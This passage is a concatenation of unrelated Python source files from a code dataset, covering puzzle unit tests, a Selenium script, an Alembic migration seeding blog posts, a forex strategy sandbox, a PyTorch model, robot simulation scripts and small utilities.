expected)\n\n\nclass TestGettingAllowedChunks(unittest.TestCase):\n cases = (\n ('abba[mnop]qrst[abcd]defg', ['abba', 'qrst', 'defg']),\n )\n\n def test_finds_allowed_substrings(self):\n for text, expected in self.cases:\n self.assertEqual(get_abba_allowed_strings(text), expected)\n\n\nclass TestGettingDisallowedChunks(unittest.TestCase):\n cases = (\n ('abba[mnop]qrst[abcd]defg', ['mnop', 'abcd']),\n )\n\n def test_finds_disallowed_substrings(self):\n for text, expected in self.cases:\n self.assertEqual(get_abba_disallowed_strings(text), expected)\n\n\nclass TestCheckingTLSAddresses(unittest.TestCase):\n cases = (\n ('abba[mnop]qrst', True),\n ('abcd[bddb]xyyx', False),\n ('aaaa[qwer]tyui', False),\n ('ioxxoj[asdfgh]zxcvbn', True),\n )\n\n def test_finds_tls_addresses(self):\n for text, expected in self.cases:\n self.assertEqual(supports_tls(text), expected)\n\n def test_counts_tls_addresses(self):\n data = [x[0] for x in self.cases]\n self.assertEqual(count_tls_addresses(data), 2)\n\n\nclass TestFindingABASequences(unittest.TestCase):\n cases = (\n ('aba', ['aba']),\n ('xyxxyx', ['xyx']),\n ('aaakekeke', ['eke', 'kek']),\n ('zazbzbzbcdb', ['bzb', 'zaz', 'zbz']),\n )\n\n def test_finds_aba_sequences(self):\n for text, expected in self.cases:\n self.assertEqual(find_abas(text), expected)\n\n\nclass TestCheckingSSLAddresses(unittest.TestCase):\n cases = (\n ('aba[bab]xyz', True),\n ('xyx[xyx]xyx', False),\n ('aaa[kek]eke', True),\n ('zazbz[bzb]cdb', True),\n )\n\n def test_finds_ssl_addresses(self):\n for text, expected in self.cases:\n self.assertEqual(supports_ssl(text), expected)\n\n def test_counts_ssl_addresses(self):\n data = [x[0] for x in self.cases]\n self.assertEqual(count_ssl_addresses(data), 3)\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"day07/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2522,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"217459282","text":"from selenium import selenium\n\n# version: 2.001\nimport unittest, time, re\n\nclass gsmarena_samsung(unittest.TestCase):\n def setUp(self):\n self.verificationErrors = []\n self.selenium = selenium(\"localhost\", 4444, \"*firefox\", \"http://www.gsmarena.com/\")\n self.selenium.start()\n \n def test_gsmarena_samsung(self):\n sel = self.selenium\n sel.open(\"/\")\n sel.click(\"link=Phone Finder\")\n sel.wait_for_page_to_load(\"30000\")\n sel.select(\"name=idMaker\", \"label=Samsung\")\n sel.click(\"name=chkHSDPA2100\")\n sel.select(\"name=TalkTime\", \"label=More than 10 hours\")\n sel.click(\"css=input.st-button\")\n sel.wait_for_page_to_load(\"30000\")\n \n def tearDown(self):\n self.selenium.stop()\n self.assertEqual([], self.verificationErrors)\n\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"demo/testsuite-selenium/gsmarena_samsung.py","file_name":"gsmarena_samsung.py","file_ext":"py","file_size_in_byte":871,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"72505456","text":"import os\n# get images names in test folder to use them in cmd param\n\ndir_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'in')\n\ncmdParams =\"\"\nfor root, dirs, filenames in os.walk(dir_path):\n for f in filenames:\n cmdParams += os.path.join(root, f) + \" \"\n\t\t\nwith open(\"t.txt\", 'w') as f:\n\tf.write(cmdParams)\n\n\t\t\n","sub_path":"msc/ImageThumbnailBatch/getImagesNamesFromTestFolder.py","file_name":"getImagesNamesFromTestFolder.py","file_ext":"py","file_size_in_byte":338,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"415774405","text":"\"\"\"posts table\n\nRevision ID: a5b9000f295e\nRevises: e32dd245038a\nCreate Date: 2020-09-28 19:49:40.126045\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'a5b9000f295e'\ndown_revision = 'e32dd245038a'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n posts = op.create_table('post',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('title', sa.String(length=140), nullable=True),\n sa.Column('body', sa.String(length=1400), nullable=True),\n sa.Column('timestamp', sa.DateTime(), nullable=True),\n sa.Column('user_id', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['user_id'], ['userr.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_index(op.f('ix_post_timestamp'), 'post', ['timestamp'], unique=False)\n # ### end Alembic commands ###\n\n op.bulk_insert(posts,\n [\n {\n 'id': 1,\n 'title': 'intro',\n 'body': '## intro\\n\\nthis is web service application template that uses following stack:\\n * **Python (flask)**\\n* **ReacJS** (functional components)\\n'\n '* **Redux** and **react-redux**\\n* **PostgreSQL**\\n* **Docker** and **docker-compose**\\n* **GitlabCI**\\n\\n'\n 'Main idea of that template is using it as starting point for rapid development web services.\\n'\n 'Implements basic authorization/authentication functionality using `JWT tokens`.\\n',\n 'user_id': 1\n },\n {\n 'id': 2,\n 'title': 'backend',\n 'body': '## backend\\n\\nis based on **Flask** framework. Gives highest level of flexibility on choosing tools and technologies for '\n 'web applications development.\\n\\n Used extensions:\\n* **flask-sqlalchemy**\\n* **flask-migrate**\\n* **flask_restful**\\n* **flask_jwt_extended**\\n\\n'\n 'authentication implemented using `JWT tokens`. All authorization/authentication related information stored in database\\n\\n'\n 'default user `guest/guest1` implemented to lauhch it out of box.',\n 'user_id': 1\n },\n {\n 'id': 3,\n 'title': 'frontend',\n 'body': '## frontend\\n\\ndeveloped using ReactJS. Used just as the most popular framework that gives ability to develop flexible '\n 'SPA in short time.\\n\\n'\n 'Build system:\\n* **npm**\\n* **webpack**\\n* **babel**\\n\\n'\n 'used components library:\\n* **material-ui**\\n\\n'\n 'served on backend as static prebuilt single `index.html` file.\\n\\n'\n 'used technologies:\\n* **redux** and **react-redux** to store state of all components at single place\\n'\n '* **route** to implement Front side URL navigation\\n'\n '* **local storage** to store JWT tokens.\\n'\n '* **redux-logger** for development purposes',\n 'user_id': 1\n },\n {\n 'id': 4,\n 'title': 'database',\n 'body': '## database\\n\\n**Postgresql** used as main SQL database to store data. '\n 'There was no serious reason to use exactly PostgreSQL. This is just what used historically. '\n 'Database migration (`flask db`) implemented to simplify deploy and future schema updating processes.\\n\\n'\n '#### DB schema:\\n- table `alembic_version` with following fields:\\n - version_num\\n- table `userr` with '\n 'following fields:\\n - id\\n - username\\n - email\\n - password_hash\\n- table `post` with following fields:\\n - id\\n'\n ' - title\\n - body\\n - timestamp\\n - user_id\\n'\n '- table `revoked_tokens` with following fields:\\n - id\\n - jti\\n',\n 'user_id': 1\n },\n {\n 'id': 5,\n 'title': 'devops',\n 'body': '## devops\\n\\n**docker** and **docker-compose** used for containerization.`Dockerfile` and `docker-compose.yml` '\n 'can be found in root folder of project\\n',\n 'user_id': 1\n },\n {\n 'id': 6,\n 'title': 'ci/cd',\n 'body': '## ci/cd\\n\\ndeploy automatization using `gitlab runners` implemented. `.gitlab-ci.yml` file can be found in root folder of project.',\n 'user_id': 1\n },\n {\n 'id': 7,\n 'title': 'project structure',\n 'body': '## project structure\\n\\n- **application.py** is entrypoint for flask backend. All backend related sources placed in **/app** folder.\\n'\n '- **/migrations** - folder used by `flask db` to migrate database. In a case of any future database changes '\n 'dont forget to make related changes using `flask db migrate` to register changes in db.'\n 'try to divide changes in db to small logically separated chunks like you do it on merge requests using git.\\n'\n '- **/ui** - contains ReactJS based Frontend UI project.\\n'\n '- **/static_** - contains prebuilt frontend SPA page generated using `make ui-build` command. '\n 'Not necessary to put it under git control. Did it just for quick launching without installed js/node programms.\\n'\n '- **Dockerfile**, **docker-compose.yml**, **entrypoint.sh**, **Makefile**, **wait-for-it.sh** used for deploying using docker containers.\\n'\n '- **requirements.txt** - contains list of used python packets. Similar for fronted can be found in **/ui/package.json**.\\n',\n 'user_id': 1\n },\n {\n 'id': 8,\n 'title': 'to-do',\n 'body': '## to-do\\n\\n'\n '* add email validation on registration process.\\n'\n '* add `GraphQL` or `Swagger` to simplify syncronization between backend and frontend during API development. \\n'\n '* add `react native` template to this project that uses same source base with existing reactJS project and'\n 'compatible with existing backend and database schema as starting point on mobile application development.\\n',\n 'user_id': 1\n },\n {\n 'id': 9,\n 'title': 'user manual',\n 'body': '## user manual\\n\\n* login as `guest/guest1` at [flask-reactjs-template](https://flask-reactjs-template.m2m-tele.com/)\\n * run `docker-compose up` from root folder of project and access `http://localhost:8887/` using browser. '\n 'Use `guest/guest1` credentials to login.\\n'\n '* to run without docker: `make ui-install && make ui-build && flask run`. But you must setup correct environment variables '\n 'shown in `database.conf` file to access your local **postgresql** database.\\n',\n 'user_id': 1\n },\n {\n 'id': 10,\n 'title': 'security',\n 'body': '## security\\n\\nDont place `database.conf` file under git version control. Find another way to deliver environment variables to ' \n '`production` and `development` machines.\\n',\n 'user_id': 1\n },\n ])\n\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_index(op.f('ix_post_timestamp'), table_name='post')\n op.drop_table('post')\n # ### end Alembic commands ###\n","sub_path":"migrations/versions/a5b9000f295e_posts_table.py","file_name":"a5b9000f295e_posts_table.py","file_ext":"py","file_size_in_byte":9044,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"233379568","text":"from __future__ import division\nimport json, time, datetime\n\nclass order:\n \"\"\"\n Class object for order data\n \"\"\"\n def __init__(self, instrument, units, side, trade_type, expiry, price):\n # Order instrument (currency pair, str, \"EUR_USD\")\n self.instrument = instrument\n # Order units (number of units of instrument) ($ investment / price)\n self.units = units\n # Order side (buy/sell, str)\n self.side = side\n # Type: limit, stop, marketIfTouched, market\n self.type = trade_type\n # Expiry: order expiration date (valid datetime format)\n self.expiry = expiry\n # Price to execute order\n self.price = price\n\n def printOrder(self):\n \"\"\"\n Display Order Data\n \"\"\"\n pass\n\n\nclass tradingStrategy:\n \"\"\"\n Class object for trading strategy data (initializing data, history, trade, etc)\n \"\"\"\n def __init__(self, name, initial_price, closing_price, initial_investment, heartbeat, instrument, side):\n self.name = name\n self.initial_price = initial_price\n self.closing_price = closing_price\n self.initial_investment = initial_investment\n self.heartbeat = heartbeat\n self.instrument = instrument\n self.side = side\n\n self.price_step = self.calculate_price_step()\n self.investment_per_trade = self.calculate_investment_amount()\n\n self.print_trading_strategy(initial=True)\n\n self.orders = []\n\n def calculate_price_step(self):\n \"\"\"\n Calculate Price Step: N = (closing_price - initial_price) / heartbeat\n\n See README #6\n \"\"\"\n return (self.closing_price - self.initial_price) / self.heartbeat\n\n def calculate_investment_amount(self):\n \"\"\"\n Calculate Investment Amount: I = (total investment) / heartbeat\n\n See README #7\n \"\"\"\n return self.initial_investment / self.heartbeat\n\n def print_trading_strategy(self, initial=False):\n \"\"\"\n Print Trading Strategy\n \"\"\"\n message = \"\\n\" \\\n \"--------------------------------------------------------\\n\" \\\n \"* TRADING STRATEGY INITIALIZED: \\n\" \\\n \"* Name: %s \\n\" \\\n \"* Instrument: %s \\n\" \\\n \"* Side: %s \\n\" \\\n \"* Investment Amount: %0.2f \\n\" \\\n \"* Initial Price: %0.4f \\n\" \\\n \"* Closing Price: %0.4f \\n\" \\\n \"* Heartbeat: %d \\n\" \\\n \"* Price Step: %0.4f \\n\" \\\n \"* Investment Per Trade: %0.2f \\n\" \\\n \"--------------------------------------------------------\\n\" \\\n \"*************** WATCHING THE PRICE ******************\\n\" \\\n \"--------------------------------------------------------\\n\" % (self.name, self.instrument, self.side, self.initial_investment, self.initial_price, \n self.closing_price, self.heartbeat, self.price_step, self.investment_per_trade)\n print(message)\n\n\ndef get_market_price(trading_strategy, debug, prices, step):\n \"\"\"\n Get Current Market Price of Instrument for Trading Strategy\n\n If DEBUG = TRUE: get price from test file\n If DEBUG = FALSE: poll OANDA for current price\n \"\"\"\n if debug:\n return datetime.datetime.strptime(prices[step][\"data\"][\"date\"], \"%Y-%m-%d\"), prices[step][\"data\"][\"price\"]\n else:\n return getOandaPrice(trading_strategy)\n\n\ndef handleWait(trading_strategy, date, price):\n \"\"\"\n Waiting until price goes to initial price\n \"\"\"\n message = \"\" \\\n \"--------------------------------------------------------\\n\" \\\n \"* PRICE CHECKED: %s \\n\" \\\n \"* RESULT: Waiting...price has not reached threshold \\n\" \\\n \"* Trading Strategy Initial Price: %0.4f \\n\" \\\n \"* Current Price: %0.4f \\n\" \\\n \"* Timestamp: %s \\n\" \\\n \"* CHECKING AGAIN SOON.... \\n\" \\\n \"--------------------------------------------------------\\n\" \\\n \"*************** WATCHING THE PRICE ******************\\n\" \\\n \"--------------------------------------------------------\\n\" % (trading_strategy.name, trading_strategy.initial_price, price, date)\n print(message)\n\ndef handleBeginning(trading_strategy, date, price):\n \"\"\"\n Enter into alive state\n \"\"\"\n message = \"\" \\\n \"--------------------------------------------------------\\n\" \\\n \"* PRICE CHECKED: %s \\n\" \\\n \"* RESULT: Trading strategy is now live, buying in \\n\" \\\n \"* Trading Strategy Initial Price: %0.4f \\n\" \\\n \"* Current Price: %0.4f \\n\" \\\n \"* Timestamp: %s \\n\" \\\n \"--------------------------------------------------------\\n\" \\\n \"************** MAKING INITIAL ORDER *****************\\n\" \\\n \"--------------------------------------------------------\\n\" % (trading_strategy.name, trading_strategy.initial_price, price, date)\n print(message)\n\n\ndef begin_trading_strategy(my_trading_strategy, debug=True, price_history=None, step=None):\n \"\"\"\n Main Handler for LIVE Trading Strategy:\n \"\"\"\n print(\"make initial order\")\n\n level = 1\n while True:\n date, price = get_market_price(my_trading_strategy, debug, price_history, step)\n\n price_low = my_trading_strategy.initial_price\n price_threshold = my_trading_strategy.initial_price + my_trading_strategy.price_step * level\n\n while True:\n print(\"------waiting------\")\n print(\"LOW: %0.4f\" % price_low)\n print(\"HIGH: %0.4f\" % price_threshold)\n\n step+=1\n\ndef initializeStrategy(name, initial_price, closing_price, initial_investment, heartbeat, instrument, side, debug=True, prices=None):\n \"\"\"\n Begin trading strategy, start watching the price, initialize when P <= initial price. \n \"\"\"\n # INITIALIZE TRADING STRATEGY\n my_trading_strategy = tradingStrategy(name, initial_price, closing_price, initial_investment, heartbeat, instrument, side)\n\n price_history = None\n if debug and prices:\n price_file = open(prices, \"r\")\n price_history = json.load(price_file)\n price_history = price_history[::-1]\n\n # ENTER INTO TRADING STRATEGY\n step = 0\n while True:\n date, current_price = get_market_price(my_trading_strategy, debug, price_history, step)\n\n if (current_price <= my_trading_strategy.initial_price):\n # Display Message, Trading Strategy is Now Live\n handleBeginning(my_trading_strategy, date, current_price)\n # Enter into live state\n break\n else:\n # Display Waiting Message, Trading Strategy is not live\n handleWait(my_trading_strategy, date, current_price)\n\n # Wait half a second (this is debug mode)\n step+=1\n time.sleep(0.5)\n\n begin_trading_strategy(my_trading_strategy, debug, price_history, step)\n\ndef main():\n \"\"\"\n Main: Sandbox testing of trading strategy. See README for details.\n \"\"\"\n # Trading strategy name (identifier)\n name = \"Hill's Test Trading Strategy\"\n\n # Price at which to begin trading strategy (See #1 in README)\n initiating_price = 0.7272\n\n # Price at which to close trading strategy (See #2 in README)\n closing_price = 0.9000\n\n # Total investment in strategy (See #3 in README)\n initial_investment = 100000\n\n # Trading strategy heartbeat/increment/step (See #4 in README)\n heartbeat = 50\n\n # Instrument of the trading strategy\n instrument = \"USD_EUR\"\n\n # Side of the trade the trading strategy is on\n side = \"buy\"\n\n # Testing (See #5 in README)\n strategy_debug = True\n\n # If testing, file of historical prices\n test_prices = \"synthetic_prices/USD_EUR_TEST.json\"\n\n # Initialize trading strategy\n initializeStrategy(name, initiating_price, closing_price, initial_investment, heartbeat, instrument, side, debug=strategy_debug, prices=test_prices)\n\nif __name__ == \"__main__\":\n main()","sub_path":"sandbox/strategy.py","file_name":"strategy.py","file_ext":"py","file_size_in_byte":8951,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"30065744","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom models.output_layer import *\nfrom models.utils import *\nfrom models import base\n\n\nclass Model(base.SRNNBase):\n def __init__(self, d_data, d_emb, d_mlp, d_rnn, d_lat, n_layer, dropout=0.,\n **kwargs):\n super(Model, self).__init__(d_data, d_emb, d_mlp, d_rnn, d_lat, n_layer,\n dropout)\n\n ##### low-level modules\n self.inp_emb_low = nn.Sequential(\n nn.Linear(1, d_emb),\n nn.Dropout(dropout)\n )\n\n self.n_low_layer = kwargs.get('n_low_layer', 1)\n self.rnn_low = nn.LSTM(d_rnn + d_emb, d_rnn, dropout=dropout)\n for i in range(self.n_low_layer):\n params = 'self.rnn_low.weight_hh_l{}'.format(i)\n nn.init.orthogonal_(eval(params).data)\n\n self.init_h = nn.Parameter(\n torch.Tensor(self.n_low_layer, self.d_rnn).uniform_(-0.01, 0.01))\n self.init_c = nn.Parameter(\n torch.Tensor(self.n_low_layer, self.d_rnn).uniform_(-0.01, 0.01))\n\n ##### output modules\n crit_d_tgt = self.d_data\n crit_inp_shape = (d_data, self.d_rnn)\n self.crit = GMCriterion(1, crit_d_tgt, crit_inp_shape)\n\n\n def _init_hid_low(self, bsz):\n h = self.init_h[:,None,:].expand(-1, bsz, -1).contiguous()\n c = self.init_c[:,None,:].expand(-1, bsz, -1).contiguous()\n return (h, c)\n\n\n def forward(self, x, y, hidden=None, mask=None):\n qlen, bsz, _ = x.size()\n\n ##### high-level computation\n z, output, mu_prior, logvar_prior, mu_post, theta_post = \\\n self.srnn_forward(x, y)\n\n\n ##### low-level computation\n x_low = y.permute(2, 0, 1).contiguous()\n x_low = x_low.view(self.d_data, qlen * bsz, 1)\n\n # input to the low-level rnn\n x_low_emb = self.inp_emb_low(x_low)\n extra_inp = output.view(1, qlen * bsz, self.d_rnn) \\\n .expand(self.d_data, -1, -1)\n extra_inp = self.drop(extra_inp)\n inp_low = torch.cat([x_low_emb, extra_inp], -1)\n\n # initial state for the low-level\n hid_low = self._init_hid_low(qlen * bsz)\n\n # low-level rnn forward\n out_low, _ = self.rnn_low(inp_low, hid_low)\n\n # out_low: [d_data x (qlen*bsz) x d_rnn]\n out_low = torch.cat([hid_low[0], out_low[:-1]], 0)\n out_low = self.drop(out_low)\n\n # out_low: [qlen x bsz x d_data x d_rnn]\n out_low = out_low.view(self.d_data, qlen, bsz, self.d_rnn) \\\n .permute(1, 2, 0, 3).contiguous()\n\n ##### loss\n # NLL\n nll = self.crit(out_low, y)\n nll = nll.sum(-1)\n if mask is not None:\n nll = nll * mask\n\n # KL(q||p)\n kld = gaussian_kld([mu_post, theta_post], [mu_prior, logvar_prior])\n kld = kld.sum(-1)\n if mask is not None:\n kld = kld * mask\n\n return nll, -kld, None\n\n","sub_path":"speech/models/srnn_hier_inp.py","file_name":"srnn_hier_inp.py","file_ext":"py","file_size_in_byte":2725,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"96503560","text":"import json\n\n\nclass Response:\n def __init__(self, code, body=None, headers=None):\n self.code = code\n self.body = body\n self.headers = None\n\n def format(self):\n \"\"\"\n Format the Response instance to the\n expected Lambda response format.\n \"\"\"\n response = {\n \"statusCode\": self.code\n }\n\n if self.body is not None:\n response[\"body\"] = json.dumps(self.body)\n\n if self.headers is not None:\n response[\"headers\"] = self.headers\n\n return response\n","sub_path":"pylambdarest/response.py","file_name":"response.py","file_ext":"py","file_size_in_byte":560,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"45557520","text":"#The code from https://people.csail.mit.edu/albert/bluez-intro/x232.html was used to connect to the server and transfer data. \n#r7insight downloaded from https://pypi.org/project/r7insight_python/\nimport bluetooth\nfrom r7insight import R7InsightHandler\nimport logging\nimport time\nimport Adafruit_DHT\nimport datetime \n\n\nsensor = 11\npin = 23\n\nserver_sock=bluetooth.BluetoothSocket( bluetooth.RFCOMM )\n\nport = 1\nserver_sock.bind((\"\",port))\nserver_sock.listen(1)\n\nlog = logging.getLogger('r7insight')\nlog.setLevel(logging.INFO)\n\n#Insightops Log Token\ntest = R7InsightHandler('24568bbf-d50f-4922-b2fc-aede9a941f98', 'eu')\n\n\nlog.addHandler(test)\n\nclient_sock,address = server_sock.accept()\nprint(\"Accepted connection from \",address)\n\nwhile True:\n \n #Record After every 5 sec\n data = client_sock.recv(1024)\n print(\"received [%s]\" % data)\n \n #Reading Data from RPi 1 Sensor\n log.info(data)\n \n #Reading Data from RPi 2 Sensor(Server)\n ts = str(datetime.datetime.now())\n humidity, temperature = Adafruit_DHT.read_retry(sensor, pin)\n \n log.info(ts + \" SensorID = Sam\" + \" Temperature = {}, Humidity= {} \".format(temperature,humidity))\n#client_sock.close()\n\n\n\n\n","sub_path":"bluetooth_serverPi.py","file_name":"bluetooth_serverPi.py","file_ext":"py","file_size_in_byte":1188,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"510273360","text":"import pybullet as p\nimport time\nimport pybullet_data\nfrom termcolor import colored\nimport os\nfrom ipdb import set_trace as tt\ndef printGreen(string):\n \"\"\"\n Print a string in green in the terminal\n :param string: (str)\n \"\"\"\n print(colored(string, 'green'))\n\n\ndef printYellow(string):\n \"\"\"\n :param string: (str)\n \"\"\"\n print(colored(string, 'yellow'))\n\n\ndef printRed(string):\n \"\"\"\n :param string: (str)\n \"\"\"\n print(colored(string, 'red'))\n\n\ndef printBlue(string):\n \"\"\"\n :param string: (str)\n \"\"\"\n print(colored(string, 'blue'))\n\n\n_urdf_path = pybullet_data.getDataPath()\ncustom_urdf_path = \"/home/tete/work/SJTU/kuka_play/robotics-rl-srl/urdf\"\nsjtu_urdf_path = \"/home/tete/work/SJTU/kuka_play/robotics-rl-srl/urdf_robot\"\npybullet_data_path = \"/home/tete/work/SJTU/kuka_play/robotics-rl-srl/pybullet_data\"\n# physicsClient = p.connect(p.DIRECT)#or p.DIRECT for non-graphical version\nphysicsClient = p.connect(p.GUI)#or p.DIRECT for non-graphical version\n# p.setAdditionalSearchPath(pybullet_data.getDataPath()) #optionally\n\n#p.setAdditionalSearchPath('urdf') #optionally\np.setGravity(0,0,0.0)\np.computeViewMatrix(cameraEyePosition=[0.5,0.5,0.5], cameraTargetPosition=[0,0,0], cameraUpVector=[0,0,0])\n\nplaneId = p.loadURDF(os.path.join(_urdf_path, \"plane.urdf\"))\n\ncubeStartPos = [0,0,1]\ncubeStartOrientation = p.getQuaternionFromEuler([0,0,0])\n#r2d2Id = p.loadURDF(os.path.join(_urdf_path, \"r2d2.urdf\"), cubeStartPos, cubeStartOrientation)\n# gripperId = p.loadURDF(os.path.join(pybullet_data_path, \"gripper/wsg50_one_motor_gripper_left_finger.urdf\"), [0,0,0])\n# huskyId = p.loadURDF(os.path.join(pybullet_data_path, \"husky/husky.urdf\"), [0,0,0])\n# jengaId = p.loadURDF(os.path.join(pybullet_data_path, \"jenga/jenga.urdf\"), [0,0,0])\n# kuka = p.loadURDF(os.path.join(pybullet_data_path, \"kuka_iiwa/model_vr_limits.urdf\"), [0,0,0])\n# lego = p.loadURDF(os.path.join(pybullet_data_path, \"lego/lego.urdf\"), [0,0,0])\n# quadruped1 = p.loadURDF(os.path.join(pybullet_data_path, \"quadruped/minitaur.urdf\"), [0,0,0])\n# quadruped = p.loadURDF(os.path.join(pybullet_data_path, \"quadruped/minitaur_fixed_all.urdf\"), [0,0,0])\n# racer = p.loadURDF(os.path.join(pybullet_data_path, \"racecar/racecar.urdf\"), [0,0,0])\n# table = p.loadURDF(os.path.join(pybullet_data_path, \"table_square/table_squre.urdf\"), [0,0,0])\n# tray = p.loadURDF(os.path.join(pybullet_data_path, \"tray/tray_textured2.urdf\"), [0,0,0])\n# object = p.loadURDF(os.path.join(pybullet_data_path, \"teddy_vhacd.urdf\"), [0,0,0])\n# object2 = p.loadSDF(os.path.join(pybullet_data_path, \"stadium.sdf\"))\n# objects = p.loadSDF(os.path.join(_urdf_path, \"kuka_iiwa/kuka_with_gripper2.sdf\"))\n# sjtuID = p.loadURDF(os.path.join(sjtu_urdf_path,\"inmoov_right_hand.urdf\"), [1,1,1] )\n# another = p.loadSDF(os.path.join(sjtu_urdf_path, \"tomato/newsdf.sdf\"))\n\nanother = p.loadURDF(os.path.join(sjtu_urdf_path, \"tomato_plant.urdf\"))\nsjtuID = p.loadURDF(os.path.join(sjtu_urdf_path,\"inmoov_col.urdf\"), [1,1,0] )\n# modelId = p.loadURDF(os.path.join(pybullet_data_path, \"kuka_iiwa/model_free_base.urdf\"),[1,1,1])\n\nfor i in range (1000000):\n # time.sleep(0.05)\n p.stepSimulation()\ntime.sleep(1.)\n# cubePos, cubeOrn = p.getBasePositionAndOrientation(boxId)\n#printRed(\"{} {}\".format(cubePos,cubeOrn))\np.disconnect()\n","sub_path":"environments/sjtubot_gym/bulletlearn.py","file_name":"bulletlearn.py","file_ext":"py","file_size_in_byte":3289,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"133274599","text":"#n=int(input())\nn,x,y=map(int,input().split())\n#l=list(map(int,input().split()))\n#l=[list(map(int,input().split())) for i in range(n)]\n\n#adjl=[[0 for i in range(n)] for j in range(n)]\n\ndic={}\n\nfor i in range(n):\n for j in range(i,n):\n #if i>=j:\n # continue\n dis=j-i\n maybe=abs(x-(i+1))+1+abs(y-(j+1))\n dis=min(dis,maybe)\n #adjl[i][j]=dis\n dic[dis]=dic.get(dis,0)+1\n\"\"\"\nfor i in range(n):\n for j in range(i,n):\n #if i>=j:\n # continue\n dis=adjl[i][j]\n dic[dis]=dic.get(dis,0)+1\n\"\"\"\nfor k in range(1,n):\n print(dic.get(k,0))\n ","sub_path":"ABC160/ABC160_D.py","file_name":"ABC160_D.py","file_ext":"py","file_size_in_byte":618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"546640567","text":"class Graph:\n \"\"\"\n vertices: list\n A list of str representing the vertices\n adj_list: dict\n A dict mapping vertices (str) to list of str representing the neighbors (adjacency list)\n \"\"\"\n def __init__(self, vertices: list, adj_list: dict):\n self.vertices = vertices\n self.adj_list = adj_list\n\n def __str__(self):\n graphstr = \"\"\n for (i, vertex) in enumerate(self.vertices):\n graphstr += vertex + \":\"\n for (j, neighbor) in enumerate(self.adj_list[vertex]):\n graphstr += neighbor\n if j != len(self.adj_list[vertex]) - 1:\n graphstr += \",\" # there are still more neighbors to print\n graphstr += \";\" # finished printing current vertex\n if i != len(self.vertices) - 1:\n graphstr += \" \" # there are still more vertices to print\n graphstr += \";\" # finished printing the graph\n return graphstr\n\n def get_degree(self, vertex: str) -> int:\n return len(self.adj_list[vertex])\n\n def get_number_of_vertices(self) -> int:\n return len(self.vertices)\n\n # If you have an undirected graph, divide this value by 2\n def get_number_of_edges(self) -> int:\n num_edges = 0\n for v in self.vertices:\n num_edges += self.get_degree(v)\n return num_edges\n\n def get_neighbors(self, vertex: str) -> list:\n return self.adj_list[vertex]\n\n def is_adjacent(self, vertex_a: str, vertex_b: str) -> bool:\n return vertex_b in self.adj_list[vertex_a]\n\n def remove_vertex(self, vertex: str):\n for neighbor in self.adj_list[vertex]:\n self.adj_list[neighbor].remove(vertex)\n del self.adj_list[vertex]\n self.vertices.remove(vertex)\n\ndef get_graph_from_str(graphstr: str) -> Graph:\n vertices = []\n adj_list = dict()\n\n # GRAPH STRING PARSER (FINITE STATE MACHINE)\n # 0: initial, 1: adding new vertex, 2: adding new neighbor\n parser_state = 0\n # auxiliary variables\n vertex_name = \"\"\n neighbor_name = \"\"\n for c in graphstr:\n if c == \" \": # skip spaces\n continue\n\n if parser_state == 0:\n current_vertex = \"\"\n if c.isalnum():\n vertex_name += c\n parser_state = 1\n elif c == \";\":\n # success\n pass\n elif parser_state == 1:\n if c.isalnum():\n vertex_name += c\n elif c == \":\":\n current_vertex = vertex_name\n vertices.append(current_vertex)\n adj_list[current_vertex] = []\n vertex_name = \"\"\n parser_state = 2\n elif parser_state == 2:\n if c.isalnum():\n neighbor_name += c\n elif c == \",\":\n adj_list[current_vertex].append(neighbor_name)\n neighbor_name = \"\"\n elif c == \";\":\n if neighbor_name != \"\":\n adj_list[current_vertex].append(neighbor_name)\n neighbor_name = \"\"\n parser_state = 0\n\n return Graph(vertices, adj_list)\n","sub_path":"graph.py","file_name":"graph.py","file_ext":"py","file_size_in_byte":3168,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"102042240","text":"#!/usr/bin/env python3\n\n# Copyright (c) 2018, Team skynet.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License in the file LICENSE.txt or at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n'''Make Cozmo do a little slalom race:\n start/finish line\n\t|\ncozmo---- 30 cm ---- cube_1 ---- 30 cm ---- cube_2 ---- 30 cm ---- cube_3\n\t|\nCozmo has to pick up cube_3 after encircling it and place it on cube_1\nFinally, cozmo has to cross the start/finish line\n'''\n\nimport asyncio\n\nimport cozmo\nfrom cozmo.util import degrees, distance_mm, speed_mmps, Pose\n\ndef cozmo_search_cube (robot: cozmo.robot.Robot):\n look_around = 